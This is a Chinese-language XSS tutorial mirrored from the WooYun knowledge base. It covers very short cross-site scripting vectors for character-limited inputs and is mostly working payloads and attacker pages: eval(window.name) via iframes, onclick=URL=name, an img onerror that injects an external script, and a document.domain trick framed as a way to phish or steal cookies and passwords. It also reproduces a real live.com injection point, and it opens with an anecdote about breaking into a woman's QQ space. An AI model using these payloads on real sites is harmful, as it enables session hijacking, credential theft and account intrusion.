Short XSS

wyzsk發表於2020-08-19
作者: Crackkay · 2013/08/21 12:17

0x00 背景


關鍵時候長度不夠怎麼辦?

在實際的情況中如果你不夠長怎麼辦呢?看醫生?吃藥?做手術?。。。。。。。。。。。。。。算了,既然自身硬體不足,那麼就把缺點變優點吧。熟話說:小是小威力好。

熟話說的好,要能長能短,收放自如。在很多的情況中,我們構造的語句是被限制在一定的字元數內。所以這個就是考驗你能短的時候能不能短,能長的時候能不能長的時候到了。

0x01 現實中的悲劇


這是一個活生生的悲劇,一個平臺上面,一個二逼朋友有妹子的平臺賬號,但是二逼朋友想進妹子的QQ空間,用平臺的備註插QQ-XSS程式碼,但是因為限制的字元太短,最終抱頭痛哭。於是就有了下圖所發生:

2013082023315075455.jpg

0x02 怎麼變”短”


#!html
"><script>alert(1)</script> 

.............................27 letters?

Alert(1)? No Run?

Impossible?

No!

在實際情況中,可以透過<h1>短向量或者其他的短向量去測試存在XSS的地方,為什麼可以這樣?HTML是一門”不太嚴格”的解釋語言,即使沒有</h1>,很多瀏覽器也照樣可以解釋為

#!html
<h1>xss</h1>

<h1>xss

S1:

2013082023324089066.jpg

S2:

2013082023330469883.jpg

S3:

2013082023332018566.jpg

但是如果在攻擊的時候,我往往需要用到很多標籤、屬性來達到我們的目的。下面列出一些比較猥瑣的利用

<svg/onload=domain=id>

S1:在chrome瀏覽器存在一個同域讀取漏洞,為什麼說同域呢?

S2:在chrome下如果我們訪問www.baidu.com,透過控制檯來設定一下域為空,document.domain="",就會出現以下的錯誤。

2013082023341576811.jpg

S3:為什麼說chrome瀏覽器存在一個同域讀取漏洞呢?下面我們透過訪問www.baidu.com.來訪問一下(com後面還有一個.)並設定一下域為空

#!javascript
document.domain=""

設定結果就會出現以下圖片所示。

2013082023344564837.jpg

S4:這個怎麼利用?

首先說一個問題,就是說,在同域的情況下,DOM是互通的。就相當於我a可以寫b的,b也可以同樣寫a的。那我們該怎麼來利用呢?我們可以幹很多事情,比如說重寫頁面釣魚,或者盜取同域Cookie。下面我就用Chrome的控制檯來演示一下這個內容讀取漏洞。

S5:先來看看兩段程式碼:

本地構造的攻擊頁面如下:

#!html
<!DOCTYPE html>
<html>
  <body>
    <h1>這是a.com./12.html</h1>
    <svg/onload=domain=id>
  </body>
</html>

存在缺陷的XSS頁面如下:

#!html
<!DOCTYPE html>
<html>
  <body>
    <h1>這是b.com./11.html</h1>
    <svg/onload=domain=id>
  </body>
</html>

S6:下面我們透過訪問我們構造的攻擊頁面,也就是a.com./12.html,然後讀取domain看看,結果如下圖:

2013082023361468608.jpg

S7:然後我們在控制檯裡面用window.open()方法開啟開啟存在缺陷的XSS頁面.然後同樣用domain檢視域.

2013082023365253563.jpg

S8:我們從上面就可以檢視出,現在a.com.和b.com.都是處於同一域下面,那麼就可以實現DOM相通的概念了。

S9:透過DOM重寫頁面測試,測試結果如下圖:

2013082023374053213.jpg

S10:其實這個方法的用處很多,比如說我找到XXX的XSS頁面,我透過把域置空,然後在自己站上構造一個頁面,怎麼構造就要看你的思維了,透過同域的DOM操作,可以釣魚的方式盜取COOKIE、密碼等。

<svg/onload=eval(name)>

S1:先把程式碼文譯一下:

#!html
<svg/onload=eval(window.name)>

S2:這一段程式碼透過svg載入的時候執行onload事件,執行的時候透過windows.name傳遞給eval執行,如果我們自己構造一個攻擊頁面,然後傳遞的XSS程式碼呢?下面看一段程式碼:

本地構造的攻擊頁面:

#!html
<!DOCTYPE html>
<html>
  <body>
    <iframe src="11.html" name="alert(1)"></iframe>
  </body>
</html>

存在缺陷的XSS頁面:

#!html
<!DOCTYPE html>
<html>
 <body>
    <svg/onload=eval(name)>
 </body>
</html>

S3:然後執行頁面,測試結果如下:

2013082023383876930.jpg

<i/onclick=URL=name>

S1:上面的程式碼文譯一下:

#!html
<i/onclick=document.URL=window.name>

S2:其實這段程式碼和上一段差不多多少,這裡就不截圖了,簡單的講解一下。透過點選執行事件把window.name的內容給document.URL然後執行javascript程式碼。那麼我們可以怎麼利用呢?

存在缺陷的XSS頁面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <i/onclick=URL=name>
    </body>
</html>

本地構造的攻擊頁面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <iframe src="11.html" name="javascript:alert(1)"></iframe>
    </body>
</html>

<img src=x onerror=eval(name)>

S1:先把程式碼文譯一下:

#!html
<img src=x onerror=eval(window.name)>

S2:邪惡的eval又來了。透過img元素的src屬性出錯,執行onerror事件,透過邪惡的eval執行window.name裡面的程式碼。

S3:那我們怎麼來實現呢?

本地構造的攻擊頁面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <iframe src="11.html" name="alert(1)"></iframe>
    </body>

  

存在缺陷的XSS頁面如下:

#!html
<!DOCTYPE html>
<html>
    <body>
        <img src="s.sx" onerror=eval(name) />
    </body>
</html>

其實有很多用法,當然你也可以直接:

#!html
<img src=x onerror=eval(alert(1)) />

2013082023401581483.jpg

還可以

#!html
<img src=x onerror=eval(變數) />

2013082023410714365.jpg

還可以透過呼叫元素屬性,或者是程式設計師自寫的js程式碼

2013082023425551862.jpg

<img src=x onerror=with(body)createElement('script').src='[JS地址]'>

S1:透過img元素的src屬性出錯,執行onerror事件.

S2:用with定位到body,透過DOM的一個createElement方法建立一個script元素,並使用script的src屬性指向需要呼叫的外部js檔案。從而達到攻擊的目的。

S3:這個就不講解了,都應該能夠看懂

0x03 例項


下面引用長谷川的PPT的一部分(此PPT引用經過作者同意)

2013082023440538047.jpg

2013082023443139294.jpg

透過檢視原始碼:

地址:

https://*.live.com/?param=><h1>XSSed</h1><!--





#!html
<!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
<input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").
SOURCE: System.Web FORM:" />

找出了XSS的原因是由錯誤訊息引起的XSS

然後透過攻擊者自己構造的頁面構造XSS,併成功實現。

#!html
<iframe src="target" name="javascript:alert(1)">

(或者使用JavaScript的window.open)

最終:作者透過21個字元實現XSS(關於實現的方法請見上面的一些比較猥瑣的利用元素標籤)

程式碼為:

#!html
><i/onclick=URL=name>

當然22個字元也有很多方法(//後面為我們構造的程式碼開始) 20 Letters

#!html
<input type=hidden value=//><i/onclick=URL=name>

22 Letters

#!html
<input type=hidden value="//"><i/onclick=URL=name>">

17 Letters

#!html
<input type=text value= //onclick=URL=name>

2013082023451443889.jpg

2013082023454387143.jpg

0x04 挑戰最”短”


這個活動是國外一個網站釋出的,名為XSS challenge,大家有興趣可以討論一下 19 Letters

<x/x=&{eval(name)};

22 Letters

<svg/onload=eval(name)

最短的javascript執行程式碼,考驗你”短”的時候到了

10 Letters eval(name)
9 Letters eval(URL)
8 Letters URL=name
6 Letters $(URL)

0x05 總結


Javascript是一門很好玩的解釋型語言,每次去研究這些XSS點的時候會有很多樂趣,你越不相信這個點有XSS,那麼就越要去研究這個點是否有XSS。

其實呢~~~這些技術可以稱為猥瑣流。。。因為不是按正常的邏輯思維是想不到這些的,除非那些思想很猥瑣的人。~~~~~~~

歡迎你加入猥瑣這個團隊,讓我們一起猥瑣吧。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!